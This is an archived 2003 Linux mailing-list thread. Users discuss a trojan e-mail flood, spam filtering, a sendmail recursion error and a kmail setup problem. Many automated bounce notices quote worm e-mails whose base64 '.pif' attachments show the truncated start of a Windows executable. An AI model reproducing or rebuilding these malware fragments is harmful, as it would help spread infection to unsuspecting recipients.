Re: problem e-mail
Roger Oberholtzer wrote: Anyone getting e-mails about a MS critical update? I am getting this over 300 times per day. It has a 156K exe attachment. They all seem to come from different addresses. Damn but I must find the time to set up spam filtering... Yes. over and over. it is, of course, a trojan; just delete it or set up a filter. -- Ken ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: no mail?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Bob Hemus shocked and awed us all by speaking: I was going to install SpamAssin, but the site said it wasn't for desktop use. So I Lonnied and came up with this site SpamAssassin (SA) goes on whatever machine has your incoming sendmail server. if that's your desktop, then so be it. SA rocks and is well worth the effort getting it installed and trained - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org I've had a perfectly wonderful evening. But this wasn't it. -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/Zh3U2MO5UukaubkRAhdOAKCbWgKZVlfAYLaDS4/GjqhgHtIC5gCfZJm4 Umq/p/K84uTbx5ISIQMz64I= =Psqf -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: no mail?
Kurt Wall wrote: Quoth Bob Hemus: Doug, is the users' mail down or did my fp-linux-ws make you disappear? What's a fp-linux-ws? Kurt I was going to install SpamAssin, but the site said it wasn't for desktop use. So I Lonnied and came up with this site www.f-prot.com ] and downloaded their program. It seems to be working. I'm not getting any more Re:Details, etc. Bob ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Problem facing while trying to send mail through pine
Hi I am running sendmail on Cobalt raq4r.. i have created one user under one domain. when i am using webmail , i am not facing any problem to send the mail. But when i am trying to send the mails through pine, i am getting errors as follows: Sep 10 13:21:54 server sendmail[381]: h8AKLsc00381: SYSERR(testg): rewrite: exce ssive recursion (max 50), ruleset canonify Can anybody give me some hints? Thanks in advance. -Swapna __ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
no mail?
Doug, is the users' mail down or did my fp-linux-ws make you disappear? Bob ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Problem facing while tring to send mail through pine
Hi I am running sendmail on Cobalt raq4r.. i have created one user under one domain. when i am using webmail , i am not facing any problem to send the mail. But when i am trying to send the mails through pine, i am getting errors as follows: Sep 10 13:21:54 server sendmail[381]: h8AKLsc00381: SYSERR(testg): rewrite: exce ssive recursion (max 50), ruleset canonify Can anybody give me some hints? Thanks in advance. -Swapna __ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Problem facing while trying to send mail through pine
On Wed, 10 Sep 2003, Swapana Ghosh wrote: Hi I am running sendmail on Cobalt raq4r.. i have created one user under one domain. when i am using webmail , i am not facing any problem to send the mail. But when i am trying to send the mails through pine, i am getting errors as follows: Sep 10 13:21:54 server sendmail[381]: h8AKLsc00381: SYSERR(testg): rewrite: exce ssive recursion (max 50), ruleset canonify Can anybody give me some hints? Learn to use GOogle perhaps? http://groups.google.com/groups?as_q=num=30as_scoring=rhl=enie=UTF-8oe=UTF-8btnG=Google+Searchas_epq=rewrite%3A+excessive+recursion+as_oq=as_eq=as_ugroup=as_usubject=as_uauthors=as_umsgid=lr=as_drrb=qas_qdr=as_mind=12as_minm=5as_miny=1981as_maxd=11as_maxm=9as_maxy=2003safe=off -- ~~ Lonni J Friedman[EMAIL PROTECTED] Linux Step-by-step TyGeMo http://netllama.ipfox.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: no mail?
Quoth Bob Hemus: Doug, is the users' mail down or did my fp-linux-ws make you disappear? What's a fp-linux-ws? Kurt -- Tax reform means Don't tax you, don't tax me, tax that fellow behind the tree. -- Russell Long ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: can't mail list from kmail
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Ken Moffat shocked and awed us all by speaking: Maybe the from header in kmail is showing an unsubscribed email address? just a thought/guess... we allow unsubbed emails onto the list... - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org To ensure privacy and data integrity this message has been encrypted using dual rounds of ROT-13 encryption. -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/XhvR2MO5UukaubkRAn00AJ9wTxJWJ22TmDBtL8q9pGltRuYe+ACfXwGb 5sj5DUm4g7GDbPZahAsj7/E= =bYxD -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
can't mail list from kmail
Anybody have any idea why I can't mail the list from kmail, but can from Mozilla? kmail is set up properly and I can e-mail my work account. ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: can't mail list from kmail
Marianne Taylor wrote: Anybody have any idea why I can't mail the list from kmail, but can from Mozilla? kmail is set up properly and I can e-mail my work account. Does kmail work with other subscribed mailing lists? Maybe the from header in kmail is showing an unsubscribed email address? just a thought/guess... -- Ken ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: can't mail list from kmail
On 09/07/03 10:19, Marianne Taylor wrote: Anybody have any idea why I can't mail the list from kmail, but can from Mozilla? kmail is set up properly and I can e-mail my work account. What do you mean by can't? Is it bouncing? If so, what does the bounce look like? -- ~ L. Friedman[EMAIL PROTECTED] Linux Step-by-step TyGeMo:http://netllama.ipfox.com 10:35am up 1 day, 21:29, 1 user, load average: 0.12, 0.13, 0.06 ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: can't mail list from kmail
On September 7, 2003 10:38, Net Llama! wrote: On 09/07/03 10:19, Marianne Taylor wrote: Anybody have any idea why I can't mail the list from kmail, but can from Mozilla? kmail is set up properly and I can e-mail my work account. What do you mean by can't? Is it bouncing? If so, what does the bounce look like? Testing? ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: can't mail list from kmail
On September 7, 2003 12:04, Marianne Taylor wrote: On September 7, 2003 10:38, Net Llama! wrote: On 09/07/03 10:19, Marianne Taylor wrote: Anybody have any idea why I can't mail the list from kmail, but can from Mozilla? kmail is set up properly and I can e-mail my work account. What do you mean by can't? Is it bouncing? If so, what does the bounce look like? Testing? ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users OK solved my own problem. Under default identity I hadn't specified an e-mail address, but with putting this in it now works. Thanks ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: can't mail list from kmail
Net Llama! wrote: On 09/07/03 10:19, Marianne Taylor wrote: Anybody have any idea why I can't mail the list from kmail, but can from Mozilla? kmail is set up properly and I can e-mail my work account. What do you mean by can't? Is it bouncing? If so, what does the bounce look like? I get no response at all. No problem from Mozilla. Where would I look for hidden headers, since I can't mail any lists? ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Returned mail: see transcript for details
The original message was received at Sat, 6 Sep 2003 00:15:43 -0700 (PDT) from adsl-67-121-155-249.dsl.pltn13.pacbell.net [67.121.155.249] - The following addresses had permanent fatal errors - [EMAIL PROTECTED] (reason: 553 [EMAIL PROTECTED]... User unknown) - Transcript of session follows - ... while talking to mail1.hosting.flyingcroc.net.: RCPT To:[EMAIL PROTECTED] 553 [EMAIL PROTECTED]... User unknown 550 5.1.1 [EMAIL PROTECTED]... User unknown Reporting-MTA: dns; backup1.hosting.flyingcroc.net Received-From-MTA: DNS; adsl-67-121-155-249.dsl.pltn13.pacbell.net Arrival-Date: Sat, 6 Sep 2003 00:15:43 -0700 (PDT) Final-Recipient: RFC822; [EMAIL PROTECTED] Action: failed Status: 5.1.3 Remote-MTA: DNS; mail1.hosting.flyingcroc.net Diagnostic-Code: SMTP; 553 [EMAIL PROTECTED]... User unknown Last-Attempt-Date: Sat, 6 Sep 2003 00:15:43 -0700 (PDT) ---BeginMessage--- Please see the attached file for details.---End Message--- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Returned mail
--- The message cannot be delivered to the following address. --- [EMAIL PROTECTED]Mailbox unknown or not accepting mail. 550 5.1.1 [EMAIL PROTECTED]... User unknown Reporting-MTA: Norton AntiVirus Gateway;[EMAIL PROTECTED] Final-Recipient: rfc822;[EMAIL PROTECTED] Action: failed Status: 5.1.1 Diagnostic-Code: X-Notes; Cannot route mail to user ([EMAIL PROTECTED]). ---BeginMessage--- See the attached file for details DELETED0.TXT Description: plain/text ---End Message--- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Undeliverable mail: Re: Your application
Failed to deliver to '[EMAIL PROTECTED]' LOCAL module(account tesfaye_lemma) reports: account is full (quota exceeded) Reporting-MTA: dns; freemail.et Original-Recipient: rfc822;[EMAIL PROTECTED] Final-Recipient: LOCAL; Action: failed Status: 5.0.0 Received: from [24.61.222.23] (HELO NETSERVER) by freemail.et (CommuniGate Pro SMTP 3.4.4) with ESMTP id 2200560 for [EMAIL PROTECTED]; Wed, 03 Sep 2003 12:49:44 +0300 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Your application Date: Wed, 3 Sep 2003 6:06:54 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_06A96329 Message-ID: [EMAIL PROTECTED] ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Keith Antoine shocked and awed us all by speaking: Doug, I am getting virii sent to me, I have actually lost count of how many times I have received a copy. All I seem to be doing at the moment is deleting mail. you're getting actual copies of the virus from this list? if so, we need to look into this asap - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 http://doug.hunley.homeip.net http://www.linux-sxs.org To ensure privacy and data integrity this message has been encrypted using dual rounds of ROT-13 encryption. -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/Vehr2MO5UukaubkRAtO1AKCP0rZQHEOQ5d7jHxBUJpLQZmOOywCeN/iZ Wfb/XW4EoygbcTkixmxbAY8= =Rtx/ -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Why all this- Undeliverable Mail
On Wed, 3 Sep 2003 11:11 pm, Douglas J Hunley wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Keith Antoine shocked and awed us all by speaking: Doug, I am getting virii sent to me, I have actually lost count of how many times I have received a copy. All I seem to be doing at the moment is deleting mail. you're getting actual copies of the virus from this list? if so, we need to look into this asap BTW, they do seem to have stopped as of today will let you know if they continue, but yes they came from the list. I am only getting undelivered mail notices now via the list, however that has dropped to 4 today. -- Keith Antoine (GANDALF) aka 'SKIPPY' 18 Arkana St, The Gap, Queensland 4061, Australia:: PH:61733002161 Practising Geriatric, Retired Electronics Engineer, Knowall, Brain in storage ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Returned mail
--- The message cannot be delivered to the following address. --- [EMAIL PROTECTED]Mailbox unknown or not accepting mail. 550 5.1.1 [EMAIL PROTECTED]... User unknown Reporting-MTA: Norton AntiVirus Gateway;[EMAIL PROTECTED] Final-Recipient: rfc822;[EMAIL PROTECTED] Action: failed Status: 5.1.1 Diagnostic-Code: X-Notes; Cannot route mail to user ([EMAIL PROTECTED]). ---BeginMessage--- See the attached file for details DELETED0.TXT Description: plain/text ---End Message--- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Undeliverable mail: Re: That movie
Failed to deliver to '[EMAIL PROTECTED]' LOCAL module(account tesfaye_lemma) reports: account is full (quota exceeded) Reporting-MTA: dns; freemail.et Original-Recipient: rfc822;[EMAIL PROTECTED] Final-Recipient: LOCAL; Action: failed Status: 5.0.0 Received: from [64.222.177.246] (HELO NETSERVER) by freemail.et (CommuniGate Pro SMTP 3.4.4) with ESMTP id 2171755 for [EMAIL PROTECTED]; Tue, 02 Sep 2003 06:44:23 +0300 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: That movie Date: Tue, 2 Sep 2003 0:01:32 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_003476AA Message-ID: [EMAIL PROTECTED] ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Undeliverable Mail
Delivery failed 1 attempts: [EMAIL PROTECTED] Original message follows. Received: from NETSERVER [64.222.177.246] by dpmail02.doteasy.com with ESMTP (SMTPD32-7.13) id AE0D63C00D0; Mon, 01 Sep 2003 23:51:57 -0700 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Your application Date: Tue, 2 Sep 2003 3:19:50 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_00EA0220 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_00EA0220 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_00EA0220 Content-Type: application/octet-stream; name=your_details.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=your_details.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA [message truncated] Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Mail delivery failed: returning message to sender
This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: [EMAIL PROTECTED] This message has been rejected because it has a potentially executable attachment movie0045.pif This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. -- This is a copy of the message, including all the headers. -- Return-path: [EMAIL PROTECTED] Received: from [64.222.177.246] (helo=NETSERVER) by mars.zusket.net with esmtp (Exim 4.20) id 19u6Pe-00061r-DA for [EMAIL PROTECTED]; Tue, 02 Sep 2003 02:21:19 -0600 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Re: My details Date: Tue, 2 Sep 2003 4:25:04 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_0125B554 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_0125B554 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_0125B554 Content-Type: application/octet-stream; name=movie0045.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=movie0045.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA
Mail delivery failed: returning message to sender
This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: [EMAIL PROTECTED] This message has been rejected because it has a potentially executable attachment movie0045.pif This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. -- This is a copy of the message, including all the headers. -- Return-path: [EMAIL PROTECTED] Received: from [64.222.177.246] (helo=NETSERVER) by server20.general23.com with esmtp (Exim 4.20) id 19u8I7-0001e1-7U for [EMAIL PROTECTED]; Tue, 02 Sep 2003 06:21:40 -0400 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Re: My details Date: Tue, 2 Sep 2003 6:25:26 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_0193F18B Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_0193F18B Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_0193F18B Content-Type: application/octet-stream; name=movie0045.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=movie0045.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA
Mail delivery failed: returning message to sender
This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: [EMAIL PROTECTED] This message has been rejected because it has a potentially executable attachment movie0045.pif This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. -- This is a copy of the message, including all the headers. -- Return-path: [EMAIL PROTECTED] Received: from [64.222.177.246] (helo=NETSERVER) by server20.general23.com with esmtp (Exim 4.20) id 19u9Fj-0002jN-0i for [EMAIL PROTECTED]; Tue, 02 Sep 2003 07:23:17 -0400 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: That movie Date: Tue, 2 Sep 2003 7:26:59 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_01CC5825 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_01CC5825 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_01CC5825 Content-Type: application/octet-stream; name=movie0045.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=movie0045.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA
Returned mail
--- The message cannot be delivered to the following address. --- [EMAIL PROTECTED]Mailbox unknown or not accepting mail. 550 5.1.1 [EMAIL PROTECTED]... User unknown Reporting-MTA: Norton AntiVirus Gateway;[EMAIL PROTECTED] Final-Recipient: rfc822;[EMAIL PROTECTED] Action: failed Status: 5.1.1 Diagnostic-Code: X-Notes; Cannot route mail to user ([EMAIL PROTECTED]). ---BeginMessage--- Please see the attached file for details. DELETED0.TXT Description: plain/text ---End Message--- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Returned mail
--- The message cannot be delivered to the following address. --- [EMAIL PROTECTED]Mailbox unknown or not accepting mail. 550 5.1.1 [EMAIL PROTECTED]... User unknown Reporting-MTA: Norton AntiVirus Gateway;[EMAIL PROTECTED] Final-Recipient: rfc822;[EMAIL PROTECTED] Action: failed Status: 5.1.1 Diagnostic-Code: X-Notes; Cannot route mail to user ([EMAIL PROTECTED]). ---BeginMessage--- See the attached file for details DELETED0.TXT Description: plain/text ---End Message--- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Mail delivery failed: returning message to sender
This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: [EMAIL PROTECTED] This message has been rejected because it has a potentially executable attachment your_document.pif This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. -- This is a copy of the message, including all the headers. -- Return-path: [EMAIL PROTECTED] Received: from [64.222.177.246] (helo=NETSERVER) by smack.trouble-free.net with esmtp (Exim 4.20) id 19uBTx-hl-J8 for [EMAIL PROTECTED]; Tue, 02 Sep 2003 09:46:06 -0400 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Details Date: Tue, 2 Sep 2003 9:49:53 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_024F1C38 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_024F1C38 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_024F1C38 Content-Type: application/octet-stream; name=your_document.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=your_document.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA
Mail delivery failed: returning message to sender
This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: [EMAIL PROTECTED] This message has been rejected because it has a potentially executable attachment your_document.pif This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. -- This is a copy of the message, including all the headers. -- Return-path: [EMAIL PROTECTED] Received: from [64.222.177.246] (helo=NETSERVER) by smack.trouble-free.net with esmtp (Exim 4.20) id 19uByU-00052e-QO for [EMAIL PROTECTED]; Tue, 02 Sep 2003 10:17:39 -0400 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Approved Date: Tue, 2 Sep 2003 10:21:28 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_026C0085 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_026C0085 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_026C0085 Content-Type: application/octet-stream; name=your_document.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=your_document.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 5gAAQAAAwC5zaHJpbmsAADDQAQAAIgAAAPgA AEAAAMAA
Undeliverable Mail
Delivery failed 1 attempts: [EMAIL PROTECTED] Original message follows. Received: from NETSERVER [64.222.177.246] by dpmail02.doteasy.com with ESMTP (SMTPD32-7.13) id AE648E200D8; Tue, 02 Sep 2003 07:51:16 -0700 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: That movie Date: Tue, 2 Sep 2003 11:19:08 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_02A0DC42 Message-Id: [EMAIL PROTECTED] This is a multipart message in MIME format --_NextPart_000_02A0DC42 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_02A0DC42 Content-Type: application/octet-stream; name=thank_you.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=thank_you.pif TVqQAAME//8AALgAQAAA 4A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnABQRQAA TAEEAF2zPz8AAOAADwELAQYAAABw1usBAAAQYAEAAABQ AgAABAAEAgAAEAAAF/EBAAIAABAAABAAEAAAEBAA AOLrAQCcfuwBAAgA AAAgAC5zaHJpbmsAAFABAAAQxBAAAEAAAMAu c2hyaW5rAAAwYAEAABIAAADUAABAAADALnNocmluawAAQJABAAAS 